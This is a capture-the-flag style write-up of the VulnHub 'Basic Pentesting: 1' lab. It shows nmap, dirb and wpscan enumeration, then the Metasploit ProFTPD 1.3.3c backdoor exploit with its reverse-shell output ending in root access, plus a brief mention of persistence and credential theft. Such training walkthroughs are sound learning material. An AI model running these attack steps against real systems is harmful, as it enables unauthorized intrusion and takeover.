This is my solution to the Basic Pentesting: 1 challenge by Josiah Pierce. His challenge can be found on VulnHub at:
Let’s get started.
0x00 Details
We are not provided the IP address of our target machine, so we had to use other means to look for it. My go to is to utilize netdiscover and leverage ARP to discover other hosts on the network.
root@kali:~/Challenges/basic_pentesting_1# netdiscover -i eth0 -r 192.168.59.1/24
192.168.59.1 00:50:56:c0:00:08 18 1080 Unknown vendor
192.168.59.254 00:50:56:f3:da:1e 2 120 Unknown vendor
192.168.59.2 00:50:56:ff:ef:e4 1 60 Unknown vendor
192.168.59.137 00:0c:29:dc:14:23 1 60 Unknown vendor
Of all the IP addresses that were returned, I know that my machine is .134 (not listed); therefore, the target machine is most likely .137.
0x01 Enumeration
Now that we have the target IP, we can start doing reconnaissance. Using nmap, I can see what ports and services may be running on the target:
root@kali:~/Challenges/basic_pentesting_1# nmap -v -n -sV -A --reason -p- 192.168.59.137 -oN scan.txt
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 64 ProFTPD 1.3.3c
22/tcp open ssh syn-ack ttl 64 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d6:01:90:39:2d:8f:46:fb:03:86:73:b3:3c:54:7e:54 (RSA)
| 256 f1:f3:c0:dd:ba:a4:85:f7:13:9a:da:3a:bb:4d:93:04 (ECDSA)
|_ 256 12:e2:98:d2:a3:e7:36:4f:be:6b:ce:36:6b:7e:0d:9e (EdDSA)
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS GET HEAD
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:DC:14:23 (VMware)
Here’s a quick breakdown of the flags I provided to nmap:
- -v : verbose output
- -n : do not perform DNS resolution
- -sV : probe the ports and report service/version information
- -A : enable OS detection, script scanning, and traceroute
- –reason : tell me why a port is in a particular state
- -oN : output the scan in normally formatted text
I also ran a 2nd scan and outputted it to XML format, so it could be easily imported into metasploit for later.
We scan see that we have FTP, SSH, and a webserver running on this target. As a last resort we could attempt to bruteforce our way into SSH using the user marlinspike, which can be found when booting up the Ubuntu instance. For now, let’s start by checking out the website.
Navigating to http://192.168.59.137/ I am brought to a default “It works!” webpage. Checking the source provides no additional information and neither does the robots.txt file. I am not fully convinced that this webserver is running for no reason so I decide to use dirb to enumerate some directories for me.
root@kali:~/Challenges/basic_pentesting_1# dirb http://192.168.59.137 /usr/share/dirb/wordlists/common.txt
Our tool discovers a hidden directory listed as “/secret” and it turns out to be a Wordpress blog, which is slightly broken. The blog keeps trying to load additional content and styling from a “vtcsec” domain, which I later discovered is the hostname of our target. Since “vtcsec” doesn’t resolve to anything for us, the blog’s styling is all out of whack. I’m sure if you go into your hosts file and map “vtcsec” to the correct local IP, it will fix the issue.
Anyway, for my next trick…more enumeration! Since wordpress, more specifically wordpress plugins, is known to have vulnerabilities, I decide to take a quick stab at it with wpscan. Unfortunately, wpscan isn’t able to give us much other than some version numbers and this:
[+] Identified the following 1 user/s:
+----+-------+-------------------+
| Id | Login | Name |
+----+-------+-------------------+
| 1 | admin | admin – My secret |
+----+-------+-------------------+
[!] Default first WordPress username 'admin' is still used
Not really much use unless we want to bruteforce the admin account. Before we give up and just start guessing passwords there’s one last service we haven’t looked at, the FTP server that’s running.
0x02 Exploitation
Upon inspection, we can see that the exact software is “ProFTPd 1.3.3c”. A quick google search brings us here: https://www.rapid7.com/db/modules/exploit/unix/ftp/proftpd_133c_backdoor
Looks promising… 
Let’s fire up metasploit, load in that scan we saved (optional), and see if we can pop a shell!
msf > use exploit/unix/ftp/proftpd_133c_backdoor
msf exploit(proftpd_133c_backdoor) > set RHOST 192.168.59.137
msf exploit(proftpd_133c_backdoor) > exploit -j
[*] Exploit running as background job 0.
[*] Started reverse TCP double handler on 192.168.59.134:4444
[*] 192.168.59.137:21 - Connecting to FTP server 192.168.59.137:21...
[*] 192.168.59.137:21 - Connected to target FTP server.
[*] 192.168.59.137:21 - Sending Backdoor Command
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo dTPZW0QDx1x7Cb4y;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "dTPZW0QDx1x7Cb4y\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (192.168.59.134:4444 -> 192.168.59.137:58120) at 2018-01-05 16:17:40 -0500
We got a shell! Let’s drop down into it and see what we can find
sessions -i 1
[*] Starting interaction with 1...
id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
0x03 Conclusion
Looks like that remote exploit got us a root shell, the challenge is complete I snooped around the filesystem a little bit but found nothing of interest. No flags, not even in /home/marlinspike. If this were a target network we were compromising and not just this one machine, it is at this point we would want to try and maintain persistence. We could drop more backdoors, start passively listening on the network to discover more hosts or steal credentials, etc. That is out of the scope of this write-up though.
This challenge is definitely geared towards beginners and those wanting to get their feet wet with pentesting and compromising a target system. Not a whole lot of trickery or dead ends in this one.
Thanks for reading.
Shared from my blog
Proof of ownership